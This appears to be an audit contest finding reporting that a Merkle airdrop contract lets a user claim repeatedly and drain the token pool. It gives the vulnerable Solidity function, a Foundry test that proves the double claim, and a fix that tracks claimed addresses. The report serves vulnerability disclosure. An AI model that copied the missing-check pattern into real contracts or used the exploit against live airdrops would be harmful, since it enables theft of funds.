Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Users can `claim` the airdrop `multiple times` by which a single user can abe claim all the airdrop amount

Summary

  • The user can claim the airdrop multiple times by which a single user can claim all the airdrop amount. A user can only claim the airdrop once which can be done by adding a mapping to keep track of the claimed accounts and revert the transaction if the account has already claimed the airdrop.

Vulnerability Details

  • This claim function does not check if the user has already claimed the airdrop or not. So, the user can claim the airdrop multiple times. All user are not able to claim the airdrop after reclaiming happens.

  • We can resolve this issue by adding a mapping to keep track of the claimed accounts and revert the transaction if the account has already claimed the airdrop.

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
@>
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

POC

  • Paste this test in MerkleAirdropTest.t.sol

function testUsersCanReClaimAmount() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee());
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToCollect);
// Reclaiming the amount again !!
vm.deal(collectorOne, airdrop.getFee());
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, 2 * amountToCollect);
}
  • Run above test using the following command

forge test --mt testUsersCanReClaimAmount -vvvv

Impact

  • Users can claim the airdrop multiple times

  • Reclaiming the airdrop can reduce the number of user can claim the airdrop.

  • All user are not able to claim the airdrop after reclaiming happens.

  • A single user can claim all the airdrop.

Tools Used

  • Manual Review

Recommendations

  • We can add a mapping to keep track of the claimed accounts and revert the transaction if the account has already claimed the airdrop.

  • Update the claim function as follows

+ error MerkleAirdrop__AlreadyClaimed();
+ mapping (address claimer => bool isclaim) public isclaimed;
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
+ if (isclaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
+ isclaimed[account] = true;
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.